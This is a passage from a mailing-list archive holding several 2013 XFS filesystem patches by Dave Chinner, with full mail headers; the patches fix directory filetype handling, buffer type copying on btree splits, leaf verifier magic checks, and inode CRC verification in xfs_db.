by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner They were missed in the original patch that was committed. Signed-off-by: Dave Chinner --- libxfs/xfs_dir2.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/libxfs/xfs_dir2.c b/libxfs/xfs_dir2.c index 010c701..96a3c1d 100644 --- a/libxfs/xfs_dir2.c +++ b/libxfs/xfs_dir2.c @@ -194,6 +194,7 @@ xfs_dir_createname( memset(&args, 0, sizeof(xfs_da_args_t)); args.name = name->name; args.namelen = name->len; + args.filetype = name->type; args.hashval = dp->i_mount->m_dirnameops->hashname(name); args.inumber = inum; args.dp = dp; @@ -268,6 +269,7 @@ xfs_dir_lookup( memset(&args, 0, sizeof(xfs_da_args_t)); args.name = name->name; args.namelen = name->len; + args.filetype = name->type; args.hashval = dp->i_mount->m_dirnameops->hashname(name); args.dp = dp; args.whichfork = XFS_DATA_FORK; @@ -323,6 +325,7 @@ xfs_dir_removename( memset(&args, 0, sizeof(xfs_da_args_t)); args.name = name->name; args.namelen = name->len; + args.filetype = name->type; args.hashval = dp->i_mount->m_dirnameops->hashname(name); args.inumber = ino; args.dp = dp; -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:15:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C9D257F86 for ; Sun, 29 Sep 2013 22:15:52 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6C69EAC001 for ; Sun, 29 Sep 2013 20:15:52 -0700 (PDT) X-ASG-Debug-ID: 1380510949-04bdf05387682360002-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id WmFMfMRwZgDXD3zQ for ; Sun, 29 Sep 2013 20:15:51 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwMj26EDAOpeIM2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:48 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxZ-0006Ol-Tq for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:45 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxZ-0002FP-T8 for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:45 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 05/32] xfs: ensure we copy buffer type in da btree root splits Date: Mon, 30 Sep 2013 13:15:17 +1000 X-ASG-Orig-Subj: [PATCH 05/32] xfs: ensure we copy buffer type in da btree root splits Message-Id: <1380510944-8571-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510950 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When splitting the root of the da btree, we shuffled data between buffers and the structures that track them. At one point, we copy data and state from one buffer to another, including the ops associated with the buffer. When we do this, we also need to copy the buffer type associated with the buf log item so that the buffer is logged correctly. If we don't do that, log recovery won't recognise it and hence it won't recalculate the CRC on the buffer after recovery. This leads to a directory block that can't be read after recovery has run. Found by inspection after finding the same problem with remote symlink buffers. Signed-off-by: Dave Chinner --- libxfs/xfs_da_btree.c | 1 + 1 file changed, 1 insertion(+) diff --git a/libxfs/xfs_da_btree.c b/libxfs/xfs_da_btree.c index b7b6705..f106e06 100644 --- a/libxfs/xfs_da_btree.c +++ b/libxfs/xfs_da_btree.c @@ -612,6 +612,7 @@ xfs_da3_root_split( xfs_trans_log_buf(tp, bp, 0, size - 1); bp->b_ops = blk1->bp->b_ops; + xfs_trans_buf_copy_type(bp, blk1->bp); blk1->bp = bp; blk1->blkno = blkno; -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:15:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C2E347F85 for ; Sun, 29 Sep 2013 22:15:53 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8E0068F8039 for ; Sun, 29 Sep 2013 20:15:53 -0700 (PDT) X-ASG-Debug-ID: 1380510950-04bdf02f2115f0bc0002-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id vetK8lvTxNnYSivW for ; Sun, 29 Sep 2013 20:15:52 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwMj26EDAOpeIM2KoEuJA Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:48 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxZ-0006Ok-TJ for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:45 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxZ-0002FK-SI for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:45 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 04/32] xfs: check magic numbers in dir3 leaf verifier first Date: Mon, 30 Sep 2013 13:15:16 +1000 X-ASG-Orig-Subj: [PATCH 04/32] xfs: check magic numbers in dir3 leaf verifier first Message-Id: <1380510944-8571-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510951 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Calling xfs_dir3_leaf_hdr_from_disk() in a verifier before validating the magic numbers in the buffer results in ASSERT failures due to mismatching magic numbers when a corruption occurs. Seeing as the verifier is supposed to catch the corruption and pass it back to the caller, having the verifier assert fail on error defeats the purpose of detecting the errors in the first place. Check the magic numbers direct from the buffer before decoding the header. Signed-off-by: Dave Chinner --- libxfs/xfs_dir2_leaf.c | 20 +++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) diff --git a/libxfs/xfs_dir2_leaf.c b/libxfs/xfs_dir2_leaf.c index 7ec2f19..c035c4d 100644 --- a/libxfs/xfs_dir2_leaf.c +++ b/libxfs/xfs_dir2_leaf.c @@ -161,6 +161,11 @@ xfs_dir3_leaf_check_int( return true; } +/* + * We verify the magic numbers before decoding the leaf header so that on debug + * kernels we don't get assertion failures in xfs_dir3_leaf_hdr_from_disk() due + * to incorrect magic numbers. + */ static bool xfs_dir3_leaf_verify( struct xfs_buf *bp, @@ -172,24 +177,25 @@ xfs_dir3_leaf_verify( ASSERT(magic == XFS_DIR2_LEAF1_MAGIC || magic == XFS_DIR2_LEAFN_MAGIC); - xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); if (xfs_sb_version_hascrc(&mp->m_sb)) { struct xfs_dir3_leaf_hdr *leaf3 = bp->b_addr; + __uint16_t magic3; - if ((magic == XFS_DIR2_LEAF1_MAGIC && - leafhdr.magic != XFS_DIR3_LEAF1_MAGIC) || - (magic == XFS_DIR2_LEAFN_MAGIC && - leafhdr.magic != XFS_DIR3_LEAFN_MAGIC)) - return false; + magic3 = (magic == XFS_DIR2_LEAF1_MAGIC) ? XFS_DIR3_LEAF1_MAGIC + : XFS_DIR3_LEAFN_MAGIC; + if (leaf3->info.hdr.magic != cpu_to_be16(magic3)) + return false; if (!uuid_equal(&leaf3->info.uuid, &mp->m_sb.sb_uuid)) return false; if (be64_to_cpu(leaf3->info.blkno) != bp->b_bn) return false; } else { - if (leafhdr.magic != magic) + if (leaf->hdr.info.magic != cpu_to_be16(magic)) return false; } + + xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); return xfs_dir3_leaf_check_int(mp, &leafhdr, leaf); } -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:15:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 01B107F86 for ; Sun, 29 Sep 2013 22:15:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E3C908F8039 for ; Sun, 29 Sep 2013 20:15:53 -0700 (PDT) X-ASG-Debug-ID: 1380510948-04cb6c153d159b780004-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 13MBpHZiy47j23Kv for ; Sun, 29 Sep 2013 20:15:52 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwMk3oDqXiDNiqBLiQ Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:49 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006PL-8m for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002Gm-7n for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 22/32] db: verify and calculate inode CRCs Date: Mon, 30 Sep 2013 13:15:34 +1000 X-ASG-Orig-Subj: [PATCH 22/32] db: verify and calculate inode CRCs Message-Id: <1380510944-8571-23-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510952 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When we set the current Io cursor to point at an inode, verify that the inode CRC is intact. And prior to writing such an IO cursor, calculate the inode CRC. Signed-off-by: Dave Chinner --- db/inode.c | 2 ++ db/io.c | 4 ++++ db/io.h | 6 +++++- include/libxfs.h | 4 ++++ libxfs/xfs_inode_buf.c | 8 ++++---- 5 files changed, 19 insertions(+), 5 deletions(-) diff --git a/db/inode.c b/db/inode.c index ec533ee..4090855 100644 --- a/db/inode.c +++ b/db/inode.c @@ -655,6 +655,8 @@ set_cur_inode( blkbb, DB_RING_IGN, NULL); off_cur(offset << mp->m_sb.sb_inodelog, mp->m_sb.sb_inodesize); dip = iocur_top->data; + iocur_top->ino_crc_ok = libxfs_dinode_verify(mp, ino, dip); + iocur_top->ino_buf = 1; iocur_top->ino = ino; iocur_top->mode = be16_to_cpu(dip->di_mode); if ((iocur_top->mode & S_IFMT) == S_IFDIR) diff --git a/db/io.c b/db/io.c index c9452f2..8ddb5e5 100644 --- a/db/io.c +++ b/db/io.c @@ -462,6 +462,9 @@ write_cur(void) return; } + if (iocur_top->ino_buf) + libxfs_dinode_calc_crc(mp, iocur_top->data); + if (iocur_top->bbmap) write_cur_bbs(); else @@ -534,6 +537,7 @@ set_cur( iocur_top->ino = ino; iocur_top->dirino = dirino; iocur_top->mode = mode; + iocur_top->ino_buf = 0; /* store location in ring */ if (ring_flag) diff --git a/db/io.h b/db/io.h index d647284..1f8270d 100644 --- a/db/io.h +++ b/db/io.h @@ -38,6 +38,8 @@ typedef struct iocur { const struct typ *typ; /* type of "data" */ bbmap_t *bbmap; /* map daddr if fragmented */ struct xfs_buf *bp; /* underlying buffer */ + int ino_crc_ok:1; + int ino_buf:1; } iocur_t; #define DB_RING_ADD 1 /* add to ring on set_cur */ @@ -62,5 +64,7 @@ extern void ring_add(void); static inline bool iocur_crc_valid() { - return (iocur_top->bp && iocur_top->bp->b_error != EFSCORRUPTED); + return (iocur_top->bp && + iocur_top->bp->b_error != EFSCORRUPTED && + (!iocur_top->ino_buf || iocur_top->ino_crc_ok)); } diff --git a/include/libxfs.h b/include/libxfs.h index 08fd0b3..d28ac48 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -755,6 +755,10 @@ void xfs_dinode_from_disk(struct xfs_icdinode *, #define libxfs_idata_realloc xfs_idata_realloc #define libxfs_idestroy_fork xfs_idestroy_fork +#define libxfs_dinode_verify xfs_dinode_verify +bool xfs_dinode_verify(struct xfs_mount *mp, xfs_ino_t ino, + struct xfs_dinode *dip); + /* xfs_sb.h */ #define libxfs_mod_sb xfs_mod_sb #define libxfs_sb_from_disk xfs_sb_from_disk diff --git a/libxfs/xfs_inode_buf.c b/libxfs/xfs_inode_buf.c index b796556..728ef71 100644 --- a/libxfs/xfs_inode_buf.c +++ b/libxfs/xfs_inode_buf.c @@ -276,10 +276,10 @@ xfs_dinode_to_disk( } } -static bool +bool xfs_dinode_verify( struct xfs_mount *mp, - struct xfs_inode *ip, + xfs_ino_t ino, struct xfs_dinode *dip) { if (dip->di_magic != cpu_to_be16(XFS_DINODE_MAGIC)) @@ -294,7 +294,7 @@ xfs_dinode_verify( if (!xfs_verify_cksum((char *)dip, mp->m_sb.sb_inodesize, offsetof(struct xfs_dinode, di_crc))) return false; - if (be64_to_cpu(dip->di_ino) != ip->i_ino) + if (be64_to_cpu(dip->di_ino) != ino) return false; if (!uuid_equal(&dip->di_uuid, &mp->m_sb.sb_uuid)) return false; @@ -346,7 +346,7 @@ xfs_iread( return error; /* even unallocated inodes are verified */ - if (!xfs_dinode_verify(mp, ip, dip)) { + if (!xfs_dinode_verify(mp, ip->i_ino, dip)) { xfs_alert(mp, "%s: validation failed for inode %lld failed", __func__, ip->i_ino); -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:15:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 427EF7F85 for ; Sun, 29 Sep 2013 22:15:54 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 16252304039 for ; Sun, 29 Sep 2013 20:15:54 -0700 (PDT) X-ASG-Debug-ID: 1380510949-04bdf05387682360003-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id EhGPiu0r7FZreGJ4 for ; Sun, 29 Sep 2013 20:15:52 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwMk3oDqXiDNio Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:48 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxZ-0006On-Uv for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxZ-0002FZ-UH for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:45 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 07/32] xfs: dirent dtype presence is dependent on directory magic numbers Date: Mon, 30 Sep 2013 13:15:19 +1000 X-ASG-Orig-Subj: [PATCH 07/32] xfs: dirent dtype presence is dependent on directory magic numbers Message-Id: <1380510944-8571-8-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510951 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The determination of whether a directory entry contains a dtype field originally was dependent on the filesystem having CRCs enabled. This meant that the format for dtype beign enabled could be determined by checking the directory block magic number rather than doing a feature bit check. This was useful in that it meant that we didn't need to pass a struct xfs_mount around to functions that were already supplied with a directory block header. Unfortunately, the introduction of dtype fields into the v4 structure via a feature bit meant this "use the directory block magic number" method of discriminating the dirent entry sizes is broken. Hence we need to convert the places that use magic number checks to use feature bit checks so that they work correctly and not by chance. The current code works on v4 filesystems only because the dirent size roundup covers the extra byte needed by the dtype field in the places where this problem occurs. Signed-off-by: Dave Chinner --- db/check.c | 2 +- include/xfs_dir2_format.h | 51 +++++++++++++++++++---------------------------- libxfs/xfs_dir2_block.c | 6 +++--- libxfs/xfs_dir2_sf.c | 6 +++--- repair/dir2.c | 4 ++-- 5 files changed, 29 insertions(+), 40 deletions(-) diff --git a/db/check.c b/db/check.c index 2d4718d..4867698 100644 --- a/db/check.c +++ b/db/check.c @@ -3434,7 +3434,7 @@ process_sf_dir_v2( dbprintf(_("dir %lld entry . %lld\n"), id->ino, id->ino); (*dot)++; sfe = xfs_dir2_sf_firstentry(sf); - offset = XFS_DIR3_DATA_FIRST_OFFSET(mp); + offset = xfs_dir3_data_first_offset(mp); for (i = sf->count - 1, i8 = 0; i >= 0; i--) { if ((__psint_t)sfe + xfs_dir3_sf_entsize(mp, sf, sfe->namelen) - (__psint_t)sf > be64_to_cpu(dip->di_size)) { diff --git a/include/xfs_dir2_format.h b/include/xfs_dir2_format.h index a0961a6..9cf6738 100644 --- a/include/xfs_dir2_format.h +++ b/include/xfs_dir2_format.h @@ -497,69 +497,58 @@ xfs_dir3_data_unused_p(struct xfs_dir2_data_hdr *hdr) /* * Offsets of . and .. in data space (always block 0) * - * The macros are used for shortform directories as they have no headers to read - * the magic number out of. Shortform directories need to know the size of the - * data block header because the sfe embeds the block offset of the entry into - * it so that it doesn't change when format conversion occurs. Bad Things Happen - * if we don't follow this rule. - * * XXX: there is scope for significant optimisation of the logic here. Right * now we are checking for "dir3 format" over and over again. Ideally we should * only do it once for each operation. */ -#define XFS_DIR3_DATA_DOT_OFFSET(mp) \ - xfs_dir3_data_hdr_size(xfs_sb_version_hascrc(&(mp)->m_sb)) -#define XFS_DIR3_DATA_DOTDOT_OFFSET(mp) \ - (XFS_DIR3_DATA_DOT_OFFSET(mp) + xfs_dir3_data_entsize(mp, 1)) -#define XFS_DIR3_DATA_FIRST_OFFSET(mp) \ - (XFS_DIR3_DATA_DOTDOT_OFFSET(mp) + xfs_dir3_data_entsize(mp, 2)) - static inline xfs_dir2_data_aoff_t -xfs_dir3_data_dot_offset(struct xfs_dir2_data_hdr *hdr) +xfs_dir3_data_dot_offset(struct xfs_mount *mp) { - return xfs_dir3_data_entry_offset(hdr); + return xfs_dir3_data_hdr_size(xfs_sb_version_hascrc(&mp->m_sb)); } static inline xfs_dir2_data_aoff_t -xfs_dir3_data_dotdot_offset(struct xfs_dir2_data_hdr *hdr) +xfs_dir3_data_dotdot_offset(struct xfs_mount *mp) { - bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || - hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); - return xfs_dir3_data_dot_offset(hdr) + - __xfs_dir3_data_entsize(dir3, 1); + return xfs_dir3_data_dot_offset(mp) + + xfs_dir3_data_entsize(mp, 1); } static inline xfs_dir2_data_aoff_t -xfs_dir3_data_first_offset(struct xfs_dir2_data_hdr *hdr) +xfs_dir3_data_first_offset(struct xfs_mount *mp) { - bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || - hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); - return xfs_dir3_data_dotdot_offset(hdr) + - __xfs_dir3_data_entsize(dir3, 2); + return xfs_dir3_data_dotdot_offset(mp) + + xfs_dir3_data_entsize(mp, 2); } /* * location of . and .. in data space (always block 0) */ static inline struct xfs_dir2_data_entry * -xfs_dir3_data_dot_entry_p(struct xfs_dir2_data_hdr *hdr) +xfs_dir3_data_dot_entry_p( + struct xfs_mount *mp, + struct xfs_dir2_data_hdr *hdr) { return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_dot_offset(hdr)); + ((char *)hdr + xfs_dir3_data_dot_offset(mp)); } static inline struct xfs_dir2_data_entry * -xfs_dir3_data_dotdot_entry_p(struct xfs_dir2_data_hdr *hdr) +xfs_dir3_data_dotdot_entry_p( + struct xfs_mount *mp, + struct xfs_dir2_data_hdr *hdr) { return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_dotdot_offset(hdr)); + ((char *)hdr + xfs_dir3_data_dotdot_offset(mp)); } static inline struct xfs_dir2_data_entry * -xfs_dir3_data_first_entry_p(struct xfs_dir2_data_hdr *hdr) +xfs_dir3_data_first_entry_p( + struct xfs_mount *mp, + struct xfs_dir2_data_hdr *hdr) { return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_first_offset(hdr)); + ((char *)hdr + xfs_dir3_data_first_offset(mp)); } /* diff --git a/libxfs/xfs_dir2_block.c b/libxfs/xfs_dir2_block.c index 3e4bc53..1d8f598 100644 --- a/libxfs/xfs_dir2_block.c +++ b/libxfs/xfs_dir2_block.c @@ -1139,7 +1139,7 @@ xfs_dir2_sf_to_block( /* * Create entry for . */ - dep = xfs_dir3_data_dot_entry_p(hdr); + dep = xfs_dir3_data_dot_entry_p(mp, hdr); dep->inumber = cpu_to_be64(dp->i_ino); dep->namelen = 1; dep->name[0] = '.'; @@ -1153,7 +1153,7 @@ xfs_dir2_sf_to_block( /* * Create entry for .. */ - dep = xfs_dir3_data_dotdot_entry_p(hdr); + dep = xfs_dir3_data_dotdot_entry_p(mp, hdr); dep->inumber = cpu_to_be64(xfs_dir2_sf_get_parent_ino(sfp)); dep->namelen = 2; dep->name[0] = dep->name[1] = '.'; @@ -1164,7 +1164,7 @@ xfs_dir2_sf_to_block( blp[1].hashval = cpu_to_be32(xfs_dir_hash_dotdot); blp[1].address = cpu_to_be32(xfs_dir2_byte_to_dataptr(mp, (char *)dep - (char *)hdr)); - offset = xfs_dir3_data_first_offset(hdr); + offset = xfs_dir3_data_first_offset(mp); /* * Loop over existing entries, stuff them in. */ diff --git a/libxfs/xfs_dir2_sf.c b/libxfs/xfs_dir2_sf.c index 740cab0..7580333 100644 --- a/libxfs/xfs_dir2_sf.c +++ b/libxfs/xfs_dir2_sf.c @@ -540,7 +540,7 @@ xfs_dir2_sf_addname_hard( * to insert the new entry. * If it's going to end up at the end then oldsfep will point there. */ - for (offset = XFS_DIR3_DATA_FIRST_OFFSET(mp), + for (offset = xfs_dir3_data_first_offset(mp), oldsfep = xfs_dir2_sf_firstentry(oldsfp), add_datasize = xfs_dir3_data_entsize(mp, args->namelen), eof = (char *)oldsfep == &buf[old_isize]; @@ -623,7 +623,7 @@ xfs_dir2_sf_addname_pick( sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; size = xfs_dir3_data_entsize(mp, args->namelen); - offset = XFS_DIR3_DATA_FIRST_OFFSET(mp); + offset = xfs_dir3_data_first_offset(mp); sfep = xfs_dir2_sf_firstentry(sfp); holefit = 0; /* @@ -696,7 +696,7 @@ xfs_dir2_sf_check( mp = dp->i_mount; sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; - offset = XFS_DIR3_DATA_FIRST_OFFSET(mp); + offset = xfs_dir3_data_first_offset(mp); ino = xfs_dir2_sf_get_parent_ino(sfp); i8count = ino > XFS_DIR2_MAX_SHORT_INUM; diff --git a/repair/dir2.c b/repair/dir2.c index a856631..d931d1d 100644 --- a/repair/dir2.c +++ b/repair/dir2.c @@ -705,7 +705,7 @@ process_sf_dir2_fixoff( sfp = (struct xfs_dir2_sf_hdr *)XFS_DFORK_DPTR(dip); sfep = xfs_dir2_sf_firstentry(sfp); - offset = XFS_DIR3_DATA_FIRST_OFFSET(mp); + offset = xfs_dir3_data_first_offset(mp); for (i = 0; i < sfp->count; i++) { xfs_dir2_sf_put_offset(sfep, offset); @@ -759,7 +759,7 @@ process_sf_dir2( max_size = XFS_DFORK_DSIZE(dip, mp); num_entries = sfp->count; ino_dir_size = be64_to_cpu(dip->di_size); - offset = XFS_DIR3_DATA_FIRST_OFFSET(mp); + offset = xfs_dir3_data_first_offset(mp); bad_offset = *repair = 0; ASSERT(ino_dir_size <= max_size); -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:15:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4CFD27F85 for ; Sun, 29 Sep 2013 22:15:55 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3ED13304032 for ; Sun, 29 Sep 2013 20:15:55 -0700 (PDT) X-ASG-Debug-ID: 